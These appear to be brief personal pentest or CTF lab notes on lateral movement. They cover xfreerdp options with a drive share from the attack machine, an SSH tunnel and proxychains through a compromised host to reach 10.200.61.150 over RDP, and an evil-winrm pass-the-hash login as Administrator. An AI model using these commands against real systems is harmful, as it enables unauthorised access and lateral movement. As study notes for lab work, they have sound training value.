1. /dynamic-resolution
  2. /size:WIDTHxHEIGHT
  3. +clipboard
  4. /drive:LOCAL_DIR, SHARE_NAME. Creates a shared drive between the ATTACK machine and target. Ex. /drive:.,share.

xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share

SSH tunnel to compromised machine → 10.200.61.150.

Proxychains to open a RDP session with 10.200.61.150

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/08a67cb5-318b-4712-8498-2ecf570170e2/Untitled.png

Evil-winrm

  1. Proxychains evil-winrm -u Administrator -H "[PASSTHEHASH]" -i 10.200.61.150.